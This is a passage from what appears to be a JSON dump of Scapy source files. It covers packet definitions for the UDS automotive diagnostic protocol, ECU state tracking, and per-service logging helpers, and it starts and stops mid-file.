[\n        ByteEnumField('reportType', 0, UDS_RDTCI.reportTypes),\n        ConditionalField(\n            FlagsField('DTCStatusAvailabilityMask', 0, 8, UDS_RDTCI.dtcStatus),\n            lambda pkt: pkt.reportType in [0x01, 0x07, 0x09, 0x11, 0x12, 0x02, 0x0A,\n                                           0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x13, 0x15]),\n        ConditionalField(ByteField('DTCSeverity', 0),\n                         lambda pkt: pkt.reportType in [0x09]),\n        ConditionalField(ByteField('DTCFunctionalUnit', 0),\n                         lambda pkt: pkt.reportType in [0x09]),\n        ConditionalField(ByteEnumField('DTCFormatIdentifier', 0,\n                                       {0: 'ISO15031-6DTCFormat',\n                                        1: 'UDS-1DTCFormat',\n                                        2: 'SAEJ1939-73DTCFormat',\n                                        3: 'ISO11992-4DTCFormat'}),\n                         lambda pkt: pkt.reportType in [0x01, 0x07,\n                                                        0x11, 0x12]),\n        ConditionalField(ShortField('DTCCount', 0),\n                         lambda pkt: pkt.reportType in [0x01, 0x07,\n                                                        0x11, 0x12]),\n        ConditionalField(PacketListField('DTCAndStatusRecord', None,\n                                         pkt_cls=DTCAndStatusRecord),\n                         lambda pkt: pkt.reportType in [0x02, 0x09, 0x0A, 0x0B,\n                                                        0x0C, 0x0D, 0x0E,\n                                                        0x0F, 0x13, 0x15]),\n        ConditionalField(StrField('dataRecord', b\"\"),\n                         lambda pkt: pkt.reportType in [0x03, 0x08, 0x10, 0x14]),\n        ConditionalField(PacketField('snapshotRecord', None,\n                                     pkt_cls=DTCSnapshotRecord),\n                         lambda pkt: pkt.reportType in [0x04]),\n        ConditionalField(PacketField('extendedDataRecord', None,\n                                     pkt_cls=DTCExtendedDataRecord),\n                         lambda pkt: pkt.reportType in [0x06])\n    ]\n\n    def answers(self, other):\n        if not isinstance(other, UDS_RDTCI):\n            return False\n        if not other.reportType == self.reportType:\n            return False\n        if self.reportType == 0x02:\n            return other.DTCStatusMask & self.DTCStatusAvailabilityMask\n        if self.reportType == 0x06:\n            return other.dtc == self.extendedDataRecord.dtcAndStatus.dtc\n        if self.reportType == 0x04:\n            return other.dtc == self.snapshotRecord.dtcAndStatus.dtc\n        return True\n\n\nbind_layers(UDS, UDS_RDTCIPR, service=0x59)\n\n\n# #########################RC###################################\nclass UDS_RC(Packet):\n    routineControlTypes = {\n        0: 'ISOSAEReserved',\n        1: 'startRoutine',\n        2: 'stopRoutine',\n        3: 'requestRoutineResults'\n    }\n    routineControlIdentifiers = ObservableDict()\n    name = 'RoutineControl'\n    fields_desc = [\n        ByteEnumField('routineControlType', 0, routineControlTypes),\n        XShortEnumField('routineIdentifier', 0, routineControlIdentifiers)\n    ]\n\n\nbind_layers(UDS, UDS_RC, service=0x31)\n\n\nclass UDS_RCPR(Packet):\n    name = 'RoutineControlPositiveResponse'\n    fields_desc = [\n        ByteEnumField('routineControlType', 0, UDS_RC.routineControlTypes),\n        XShortEnumField('routineIdentifier', 0,\n                        UDS_RC.routineControlIdentifiers),\n    ]\n\n    def answers(self, other):\n        if isinstance(other, UDS_RC) \\\n                and other.routineControlType == self.routineControlType \\\n                and other.routineIdentifier == self.routineIdentifier:\n            if isinstance(self.payload, NoPayload):\n                return True\n            else:\n                return self.payload.answers(other.payload)\n        return False\n\n\nbind_layers(UDS, UDS_RCPR, service=0x71)\n\n\n# #########################RD###################################\nclass UDS_RD(Packet):\n    dataFormatIdentifiers = ObservableDict({\n        0: 'noCompressionNoEncryption'\n    })\n    name = 'RequestDownload'\n    fields_desc = [\n        ByteEnumField('dataFormatIdentifier', 0, dataFormatIdentifiers),\n        BitField('memorySizeLen', 0, 4),\n        BitField('memoryAddressLen', 0, 4),\n        ConditionalField(XByteField('memoryAddress1', 0),\n                         lambda pkt: pkt.memoryAddressLen == 1),\n        ConditionalField(XShortField('memoryAddress2', 0),\n                         lambda pkt: pkt.memoryAddressLen == 2),\n        ConditionalField(X3BytesField('memoryAddress3', 0),\n                         lambda pkt: pkt.memoryAddressLen == 3),\n        ConditionalField(XIntField('memoryAddress4', 0),\n                         lambda pkt: pkt.memoryAddressLen == 4),\n        ConditionalField(XByteField('memorySize1', 0),\n                         lambda pkt: pkt.memorySizeLen == 1),\n        ConditionalField(XShortField('memorySize2', 0),\n                         lambda pkt: pkt.memorySizeLen == 2),\n        ConditionalField(X3BytesField('memorySize3', 0),\n                         lambda pkt: pkt.memorySizeLen == 3),\n        ConditionalField(XIntField('memorySize4', 0),\n                         lambda pkt: pkt.memorySizeLen == 4)\n    ]\n\n\nbind_layers(UDS, UDS_RD, service=0x34)\n\n\nclass UDS_RDPR(Packet):\n    name = 'RequestDownloadPositiveResponse'\n    fields_desc = [\n        BitField('memorySizeLen', 0, 4),\n        BitField('reserved', 0, 4),\n        StrField('maxNumberOfBlockLength', b\"\", fmt=\"B\"),\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_RD)\n\n\nbind_layers(UDS, UDS_RDPR, service=0x74)\n\n\n# #########################RU###################################\nclass UDS_RU(Packet):\n    name = 'RequestUpload'\n    fields_desc = [\n        ByteEnumField('dataFormatIdentifier', 0,\n                      UDS_RD.dataFormatIdentifiers),\n        BitField('memorySizeLen', 0, 4),\n        BitField('memoryAddressLen', 0, 4),\n        ConditionalField(XByteField('memoryAddress1', 0),\n                         lambda pkt: pkt.memoryAddressLen == 1),\n        ConditionalField(XShortField('memoryAddress2', 0),\n                         lambda pkt: pkt.memoryAddressLen == 2),\n        ConditionalField(X3BytesField('memoryAddress3', 0),\n                         lambda pkt: pkt.memoryAddressLen == 3),\n        ConditionalField(XIntField('memoryAddress4', 0),\n                         lambda pkt: pkt.memoryAddressLen == 4),\n        ConditionalField(XByteField('memorySize1', 0),\n                         lambda pkt: pkt.memorySizeLen == 1),\n        ConditionalField(XShortField('memorySize2', 0),\n                         lambda pkt: pkt.memorySizeLen == 2),\n        ConditionalField(X3BytesField('memorySize3', 0),\n                         lambda pkt: pkt.memorySizeLen == 3),\n        ConditionalField(XIntField('memorySize4', 0),\n                         lambda pkt: pkt.memorySizeLen == 4)\n    ]\n\n\nbind_layers(UDS, UDS_RU, service=0x35)\n\n\nclass UDS_RUPR(Packet):\n    name = 'RequestUploadPositiveResponse'\n    fields_desc = [\n        BitField('memorySizeLen', 0, 4),\n        BitField('reserved', 0, 4),\n        StrField('maxNumberOfBlockLength', b\"\", fmt=\"B\"),\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_RU)\n\n\nbind_layers(UDS, UDS_RUPR, service=0x75)\n\n\n# #########################TD###################################\nclass UDS_TD(Packet):\n    name = 'TransferData'\n    fields_desc = [\n        ByteField('blockSequenceCounter', 0),\n        StrField('transferRequestParameterRecord', b\"\", fmt=\"B\")\n    ]\n\n\nbind_layers(UDS, UDS_TD, service=0x36)\n\n\nclass UDS_TDPR(Packet):\n    name = 'TransferDataPositiveResponse'\n    fields_desc = [\n        ByteField('blockSequenceCounter', 0),\n        StrField('transferResponseParameterRecord', b\"\", fmt=\"B\")\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_TD) \\\n            and other.blockSequenceCounter == self.blockSequenceCounter\n\n\nbind_layers(UDS, UDS_TDPR, service=0x76)\n\n\n# #########################RTE###################################\nclass UDS_RTE(Packet):\n    name = 'RequestTransferExit'\n    fields_desc = [\n        StrField('transferRequestParameterRecord', b\"\", fmt=\"B\")\n    ]\n\n\nbind_layers(UDS, UDS_RTE, service=0x37)\n\n\nclass UDS_RTEPR(Packet):\n    name = 'RequestTransferExitPositiveResponse'\n    fields_desc = [\n        StrField('transferResponseParameterRecord', b\"\", fmt=\"B\")\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_RTE)\n\n\nbind_layers(UDS, UDS_RTEPR, service=0x77)\n\n\n# #########################RFT###################################\nclass UDS_RFT(Packet):\n    name = 'RequestFileTransfer'\n\n    modeOfOperations = {\n        0x00: \"ISO/SAE Reserved\",\n        0x01: \"Add File\",\n        0x02: \"Delete File\",\n        0x03: \"Replace File\",\n        0x04: \"Read File\",\n        0x05: \"Read Directory\"\n    }\n\n    @staticmethod\n    def _contains_file_size(packet):\n        return packet.modeOfOperation not in [2, 4, 5]\n\n    fields_desc = [\n        XByteEnumField('modeOfOperation', 0, modeOfOperations),\n        FieldLenField('filePathAndNameLength', None,\n                      length_of='filePathAndName', fmt='H'),\n        StrLenField('filePathAndName', b\"\",\n                    length_from=lambda p: p.filePathAndNameLength),\n        ConditionalField(BitField('compressionMethod', 0, 4),\n                         lambda p: p.modeOfOperation not in [2, 5]),\n        ConditionalField(BitField('encryptingMethod', 0, 4),\n                         lambda p: p.modeOfOperation not in [2, 5]),\n        ConditionalField(FieldLenField('fileSizeParameterLength', None,\n                                       fmt=\"B\",\n                                       length_of='fileSizeUnCompressed'),\n                         lambda p: UDS_RFT._contains_file_size(p)),\n        ConditionalField(StrLenField('fileSizeUnCompressed', b\"\",\n                                     length_from=lambda p:\n                                     p.fileSizeParameterLength),\n                         lambda p: UDS_RFT._contains_file_size(p)),\n        ConditionalField(StrLenField('fileSizeCompressed', b\"\",\n                                     length_from=lambda p:\n                                     p.fileSizeParameterLength),\n                         lambda p: UDS_RFT._contains_file_size(p))\n    ]\n\n\nbind_layers(UDS, UDS_RFT, service=0x38)\n\n\nclass UDS_RFTPR(Packet):\n    name = 'RequestFileTransferPositiveResponse'\n\n    @staticmethod\n    def _contains_data_format_identifier(packet):\n        return packet.modeOfOperation != 0x02\n\n    fields_desc = [\n        XByteEnumField('modeOfOperation', 0, UDS_RFT.modeOfOperations),\n        ConditionalField(FieldLenField('lengthFormatIdentifier', None,\n                                       length_of='maxNumberOfBlockLength',\n                                       fmt='B'),\n                         lambda p: p.modeOfOperation != 2),\n        ConditionalField(StrLenField('maxNumberOfBlockLength', b\"\",\n                                     length_from=lambda p: p.lengthFormatIdentifier),\n                         lambda p: p.modeOfOperation != 2),\n        ConditionalField(BitField('compressionMethod', 0, 4),\n                         lambda p: p.modeOfOperation != 0x02),\n        ConditionalField(BitField('encryptingMethod', 0, 4),\n                         lambda p: p.modeOfOperation != 0x02),\n        ConditionalField(FieldLenField('fileSizeOrDirInfoParameterLength',\n                                       None,\n                                       length_of='fileSizeUncompressedOrDirInfoLength'),\n                         lambda p: p.modeOfOperation not in [1, 2, 3]),\n        ConditionalField(StrLenField('fileSizeUncompressedOrDirInfoLength',\n                                     b\"\",\n                                     length_from=lambda p:\n                                     p.fileSizeOrDirInfoParameterLength),\n                         lambda p: p.modeOfOperation not in [1, 2, 3]),\n        ConditionalField(StrLenField('fileSizeCompressed', b\"\",\n                                     length_from=lambda p:\n                                     p.fileSizeOrDirInfoParameterLength),\n                         lambda p: p.modeOfOperation not in [1, 2, 3, 5]),\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_RFT)\n\n\nbind_layers(UDS, UDS_RFTPR, service=0x78)\n\n\n# #########################IOCBI###################################\nclass UDS_IOCBI(Packet):\n    name = 'InputOutputControlByIdentifier'\n    fields_desc = [\n        XShortEnumField('dataIdentifier', 0, UDS_RDBI.dataIdentifiers),\n    ]\n\n\nbind_layers(UDS, UDS_IOCBI, service=0x2F)\n\n\nclass UDS_IOCBIPR(Packet):\n    name = 'InputOutputControlByIdentifierPositiveResponse'\n    fields_desc = [\n        XShortEnumField('dataIdentifier', 0, UDS_RDBI.dataIdentifiers),\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_IOCBI) \\\n            and other.dataIdentifier == self.dataIdentifier\n\n\nbind_layers(UDS, UDS_IOCBIPR, service=0x6F)\n\n\n# #########################NR###################################\nclass UDS_NR(Packet):\n    negativeResponseCodes = {\n        0x00: 'positiveResponse',\n        0x10: 'generalReject',\n        0x11: 'serviceNotSupported',\n        0x12: 'subFunctionNotSupported',\n        0x13: 'incorrectMessageLengthOrInvalidFormat',\n        0x14: 'responseTooLong',\n        0x20: 'ISOSAEReserved',\n        0x21: 'busyRepeatRequest',\n        0x22: 'conditionsNotCorrect',\n        0x23: 'ISOSAEReserved',\n        0x24: 'requestSequenceError',\n        0x25: 'noResponseFromSubnetComponent',\n        0x26: 'failurePreventsExecutionOfRequestedAction',\n        0x31: 'requestOutOfRange',\n        0x33: 'securityAccessDenied',\n        0x34: 'authenticationRequired',\n        0x35: 'invalidKey',\n        0x36: 'exceedNumberOfAttempts',\n        0x37: 'requiredTimeDelayNotExpired',\n        0x3A: 'secureDataVerificationFailed',\n        0x50: 'certificateVerificationFailedInvalidTimePeriod',\n        0x51: 'certificateVerificationFailedInvalidSignature',\n        0x52: 'certificateVerificationFailedInvalidChainOfTrust',\n        0x53: 'certificateVerificationFailedInvalidType',\n        0x54: 'certificateVerificationFailedInvalidFormat',\n        0x55: 'certificateVerificationFailedInvalidContent',\n        0x56: 'certificateVerificationFailedInvalidScope',\n        0x57: 'certificateVerificationFailedInvalidCertificateRevoked',\n        0x58: 'ownershipVerificationFailed',\n        0x59: 'challengeCalculationFailed',\n        0x5a: 'settingAccessRightsFailed',\n        0x5b: 'sessionKeyCreationOrDerivationFailed',\n        0x5c: 'configurationDataUsageFailed',\n        0x5d: 'deAuthenticationFailed',\n        0x70: 'uploadDownloadNotAccepted',\n        0x71: 'transferDataSuspended',\n        0x72: 'generalProgrammingFailure',\n        0x73: 'wrongBlockSequenceCounter',\n        0x78: 'requestCorrectlyReceived-ResponsePending',\n        0x7E: 'subFunctionNotSupportedInActiveSession',\n        0x7F: 'serviceNotSupportedInActiveSession',\n        0x80: 'ISOSAEReserved',\n        0x81: 'rpmTooHigh',\n        0x82: 'rpmTooLow',\n        0x83: 'engineIsRunning',\n        0x84: 'engineIsNotRunning',\n        0x85: 'engineRunTimeTooLow',\n        0x86: 'temperatureTooHigh',\n        0x87: 'temperatureTooLow',\n        0x88: 'vehicleSpeedTooHigh',\n        0x89: 'vehicleSpeedTooLow',\n        0x8a: 'throttle/PedalTooHigh',\n        0x8b: 'throttle/PedalTooLow',\n        0x8c: 'transmissionRangeNotInNeutral',\n        0x8d: 'transmissionRangeNotInGear',\n        0x8e: 'ISOSAEReserved',\n        0x8f: 'brakeSwitch(es)NotClosed',\n        0x90: 'shifterLeverNotInPark',\n        0x91: 'torqueConverterClutchLocked',\n        0x92: 'voltageTooHigh',\n        0x93: 'voltageTooLow',\n    }\n    name = 'NegativeResponse'\n    fields_desc = [\n        XByteEnumField('requestServiceId', 0, UDS.services),\n        ByteEnumField('negativeResponseCode', 0, negativeResponseCodes)\n    ]\n\n    def answers(self, other):\n        return self.requestServiceId == other.service and \\\n            (self.negativeResponseCode != 0x78 or\n             conf.contribs['UDS']['treat-response-pending-as-answer'])\n\n\nbind_layers(UDS, UDS_NR, service=0x7f)\n\n\n# ##################################################################\n# ######################## UTILS ###################################\n# ##################################################################\n\n\nclass UDS_TesterPresentSender(PeriodicSenderThread):\n    def __init__(self, sock, pkt=UDS() / UDS_TP(subFunction=0x80), interval=2):\n        \"\"\" Thread to send TesterPresent messages packets periodically\n\n        Args:\n            sock: socket where packet is sent periodically\n            pkt: packet to send\n            interval: interval between two packets\n        \"\"\"\n        PeriodicSenderThread.__init__(self, sock, pkt, interval)\n"
  },
  {
    "path": "scapy/contrib/automotive/uds_ecu_states.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = UDS EcuState modifications\n# scapy.contrib.status = library\nfrom scapy.contrib.automotive.uds import UDS_DSCPR, UDS_ERPR, UDS_SAPR, \\\n    UDS_RDBPIPR, UDS_CCPR, UDS_TPPR, UDS_RDPR, UDS\nfrom scapy.packet import Packet\nfrom scapy.contrib.automotive.ecu import EcuState\n\n\n__all__ = [\"UDS_DSCPR_modify_ecu_state\", \"UDS_CCPR_modify_ecu_state\",\n           \"UDS_ERPR_modify_ecu_state\", \"UDS_RDBPIPR_modify_ecu_state\",\n           \"UDS_TPPR_modify_ecu_state\", \"UDS_SAPR_modify_ecu_state\",\n           \"UDS_RDPR_modify_ecu_state\"]\n\n\n@EcuState.extend_pkt_with_modifier(UDS_DSCPR)\ndef UDS_DSCPR_modify_ecu_state(self, req, state):\n    # type: (Packet, Packet, EcuState) -> None\n    state.session = self.diagnosticSessionType  # type: ignore\n    try:\n        del state.security_level  # type: ignore\n    except AttributeError:\n        pass\n\n\n@EcuState.extend_pkt_with_modifier(UDS_ERPR)\ndef UDS_ERPR_modify_ecu_state(self, req, state):\n    # type: (Packet, Packet, EcuState) -> None\n    state.reset()\n    state.session = 1  # type: ignore\n\n\n@EcuState.extend_pkt_with_modifier(UDS_SAPR)\ndef UDS_SAPR_modify_ecu_state(self, req, state):\n    # type: (Packet, Packet, EcuState) -> None\n    if self.securityAccessType % 2 == 0 and \\\n            self.securityAccessType > 0 and len(req) >= 3:\n        state.security_level = self.securityAccessType  # type: ignore\n    elif self.securityAccessType % 2 == 1 and \\\n            self.securityAccessType > 0 and \\\n            len(req) >= 3 and not any(self.securitySeed):\n        state.security_level = self.securityAccessType + 1  # type: ignore\n\n\n@EcuState.extend_pkt_with_modifier(UDS_CCPR)\ndef UDS_CCPR_modify_ecu_state(self, req, state):\n    # type: (Packet, Packet, EcuState) -> None\n    state.communication_control = self.controlType  # type: ignore\n\n\n@EcuState.extend_pkt_with_modifier(UDS_TPPR)\ndef UDS_TPPR_modify_ecu_state(self, req, state):\n    # type: (Packet, Packet, EcuState) -> None\n    state.tp = 1  # type: ignore\n\n\n@EcuState.extend_pkt_with_modifier(UDS_RDBPIPR)\ndef UDS_RDBPIPR_modify_ecu_state(self, req, state):\n    # type: (Packet, Packet, EcuState) -> None\n    state.pdid = self.periodicDataIdentifier  # type: ignore\n\n\n@EcuState.extend_pkt_with_modifier(UDS_RDPR)\ndef UDS_RDPR_modify_ecu_state(self, req, state):\n    # type: (Packet, Packet, EcuState) -> None\n    oldstr = getattr(state, \"req_download\", \"\")\n    newstr = str(req.fields)\n    state.req_download = oldstr if newstr in oldstr else oldstr + newstr  # type: ignore  # noqa: E501\n\n\n@EcuState.extend_pkt_with_modifier(UDS)\ndef UDS_modify_ecu_state(self, req, state):\n    # type: (Packet, Packet, EcuState) -> None\n    if self.service == 0x77:  # UDS RequestTransferExitPositiveResponse\n        try:\n            state.download_complete = state.req_download  # type: ignore\n        except (KeyError, AttributeError):\n            pass\n        state.req_download = \"\"  # type: ignore\n"
  },
  {
    "path": "scapy/contrib/automotive/uds_logging.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = UDS Ecu logging additions\n# scapy.contrib.status = library\n\nfrom scapy.contrib.automotive.uds import UDS_DSCPR, UDS_ERPR, UDS_SAPR, \\\n    UDS_CCPR, UDS_TPPR, UDS_DSC, UDS_ER, UDS_RDPR, UDS_TDPR, UDS_RD, UDS_TD, \\\n    UDS_CC, UDS_NR, UDS_SA, UDS_RDBIPR, UDS_LC, UDS_RC, UDS_TP, UDS_RU, \\\n    UDS_IOCBIPR, UDS_WDBIPR, UDS_CDTCIPR, UDS_CDTCI, UDS_RDTCIPR, \\\n    UDS_RDTCI, UDS_RMBAPR, UDS_WMBAPR, UDS_WMBA, UDS_LCPR, UDS_RCPR, UDS_RFT, \\\n    UDS_RTE, UDS_RTEPR, UDS_RFTPR, UDS_IOCBI, UDS_RDBI, UDS_RMBA, UDS_WDBI, \\\n    UDS_CDTCS, UDS_CDTCSPR, UDS_SDT, UDS_SDTPR, UDS_RUPR\nfrom scapy.packet import Packet\nfrom scapy.contrib.automotive.ecu import Ecu\n\nfrom typing import (\n    Any,\n    Tuple,\n)\n\n\n@Ecu.extend_pkt_with_logging(UDS_DSC)\ndef UDS_DSC_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), \\\n        self.sprintf(\"%UDS_DSC.diagnosticSessionType%\")\n\n\n@Ecu.extend_pkt_with_logging(UDS_DSCPR)\ndef UDS_DSCPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), \\\n        self.sprintf(\"%UDS_DSCPR.diagnosticSessionType%\")\n\n\n@Ecu.extend_pkt_with_logging(UDS_ER)\ndef UDS_ER_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), \\\n        self.sprintf(\"%UDS_ER.resetType%\")\n\n\n@Ecu.extend_pkt_with_logging(UDS_ERPR)\ndef UDS_ERPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), \\\n        self.sprintf(\"%UDS_ER.resetType%\")\n\n\n@Ecu.extend_pkt_with_logging(UDS_SA)\ndef UDS_SA_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    if self.securityAccessType % 2 == 1:\n        return self.sprintf(\"%UDS.service%\"),\\\n            (self.securityAccessType, None)\n    else:\n        return self.sprintf(\"%UDS.service%\"),\\\n            (self.securityAccessType, self.securityKey)\n\n\n@Ecu.extend_pkt_with_logging(UDS_SAPR)\ndef UDS_SAPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    if self.securityAccessType % 2 == 0:\n        return self.sprintf(\"%UDS.service%\"),\\\n            (self.securityAccessType, None)\n    else:\n        return self.sprintf(\"%UDS.service%\"),\\\n            (self.securityAccessType, self.securitySeed)\n\n\n@Ecu.extend_pkt_with_logging(UDS_CC)\ndef UDS_CC_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), \\\n        self.sprintf(\"%UDS_CC.controlType%\")\n\n\n@Ecu.extend_pkt_with_logging(UDS_CCPR)\ndef UDS_CCPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), \\\n        self.sprintf(\"%UDS_CCPR.controlType%\")\n\n\n@Ecu.extend_pkt_with_logging(UDS_TP)\ndef UDS_TP_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), self.subFunction\n\n\n@Ecu.extend_pkt_with_logging(UDS_TPPR)\ndef UDS_TPPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), self.zeroSubFunction\n\n\n@Ecu.extend_pkt_with_logging(UDS_SDT)\ndef UDS_SDT_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), self.securityDataRequestRecord\n\n\n@Ecu.extend_pkt_with_logging(UDS_SDTPR)\ndef UDS_SDTPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), self.securityDataResponseRecord\n\n\n@Ecu.extend_pkt_with_logging(UDS_CDTCS)\ndef UDS_CDTCS_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), \\\n        self.sprintf(\"%UDS_CDTCS.DTCSettingType%\")\n\n\n@Ecu.extend_pkt_with_logging(UDS_CDTCSPR)\ndef UDS_CDTCSPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), \\\n        self.sprintf(\"%UDS_CDTCSPR.DTCSettingType%\")\n\n\n@Ecu.extend_pkt_with_logging(UDS_LC)\ndef UDS_LC_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), \\\n        self.sprintf(\"%UDS.linkControlType%\")\n\n\n@Ecu.extend_pkt_with_logging(UDS_LCPR)\ndef UDS_LCPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), \\\n        self.sprintf(\"%UDS.linkControlType%\")\n\n\n@Ecu.extend_pkt_with_logging(UDS_RDBI)\ndef UDS_RDBI_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), \\\n        self.sprintf(\"%UDS_RDBI.identifiers%\")\n\n\n@Ecu.extend_pkt_with_logging(UDS_RDBIPR)\ndef UDS_RDBIPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), \\\n        self.sprintf(\"%UDS_RDBIPR.dataIdentifier%\")\n\n\n@Ecu.extend_pkt_with_logging(UDS_RMBA)\ndef UDS_RMBA_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), \\\n        (getattr(self, \"memoryAddress%d\" % self.memoryAddressLen),\n         getattr(self, \"memorySize%d\" % self.memorySizeLen))\n\n\n@Ecu.extend_pkt_with_logging(UDS_RMBAPR)\ndef UDS_RMBAPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), self.dataRecord\n\n\n@Ecu.extend_pkt_with_logging(UDS_WDBI)\ndef UDS_WDBI_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), \\\n        self.sprintf(\"%UDS_WDBI.dataIdentifier%\")\n\n\n@Ecu.extend_pkt_with_logging(UDS_WDBIPR)\ndef UDS_WDBIPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), \\\n        self.sprintf(\"%UDS_WDBIPR.dataIdentifier%\")\n\n\n@Ecu.extend_pkt_with_logging(UDS_WMBA)\ndef UDS_WMBA_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    addr = getattr(self, \"memoryAddress%d\" % self.memoryAddressLen)\n    size = getattr(self, \"memorySize%d\" % self.memorySizeLen)\n    return self.sprintf(\"%UDS.service%\"), (addr, size, self.dataRecord)\n\n\n@Ecu.extend_pkt_with_logging(UDS_WMBAPR)\ndef UDS_WMBAPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    addr = getattr(self, \"memoryAddress%d\" % self.memoryAddressLen)\n    size = getattr(self, \"memorySize%d\" % self.memorySizeLen)\n    return self.sprintf(\"%UDS.service%\"), (addr, size)\n\n\n@Ecu.extend_pkt_with_logging(UDS_CDTCI)\ndef UDS_CDTCI_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), \\\n        (self.groupOfDTCHighByte, self.groupOfDTCMiddleByte,\n         self.groupOfDTCLowByte)\n\n\n@Ecu.extend_pkt_with_logging(UDS_CDTCIPR)\ndef UDS_CDTCIPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), None\n\n\n@Ecu.extend_pkt_with_logging(UDS_RDTCI)\ndef UDS_RDTCI_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), repr(self)\n\n\n@Ecu.extend_pkt_with_logging(UDS_RDTCIPR)\ndef UDS_RDTCIPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), repr(self)\n\n\n@Ecu.extend_pkt_with_logging(UDS_RC)\ndef UDS_RC_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"),\\\n        (self.routineControlType,\n         self.routineIdentifier)\n\n\n@Ecu.extend_pkt_with_logging(UDS_RCPR)\ndef UDS_RCPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"),\\\n        (self.routineControlType,\n         self.routineIdentifier)\n\n\n@Ecu.extend_pkt_with_logging(UDS_RD)\ndef UDS_RD_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    addr = getattr(self, \"memoryAddress%d\" % self.memoryAddressLen)\n    size = getattr(self, \"memorySize%d\" % self.memorySizeLen)\n    return self.sprintf(\"%UDS.service%\"), (addr, size)\n\n\n@Ecu.extend_pkt_with_logging(UDS_RDPR)\ndef UDS_RDPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), self.memorySizeLen\n\n\n@Ecu.extend_pkt_with_logging(UDS_RU)\ndef UDS_RU_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    addr = getattr(self, \"memoryAddress%d\" % self.memoryAddressLen)\n    size = getattr(self, \"memorySize%d\" % self.memorySizeLen)\n    return self.sprintf(\"%UDS.service%\"), (addr, size)\n\n\n@Ecu.extend_pkt_with_logging(UDS_RUPR)\ndef UDS_RUPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), self.memorySizeLen\n\n\n@Ecu.extend_pkt_with_logging(UDS_TD)\ndef UDS_TD_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"),\\\n        (self.blockSequenceCounter, self.transferRequestParameterRecord)\n\n\n@Ecu.extend_pkt_with_logging(UDS_TDPR)\ndef UDS_TDPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), self.blockSequenceCounter\n\n\n@Ecu.extend_pkt_with_logging(UDS_RTE)\ndef UDS_RTE_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"),\\\n        self.transferRequestParameterRecord\n\n\n@Ecu.extend_pkt_with_logging(UDS_RTEPR)\ndef UDS_RTEPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"),\\\n        self.transferResponseParameterRecord\n\n\n@Ecu.extend_pkt_with_logging(UDS_RFT)\ndef UDS_RFT_get_log(self):\n    # type: (Packet) 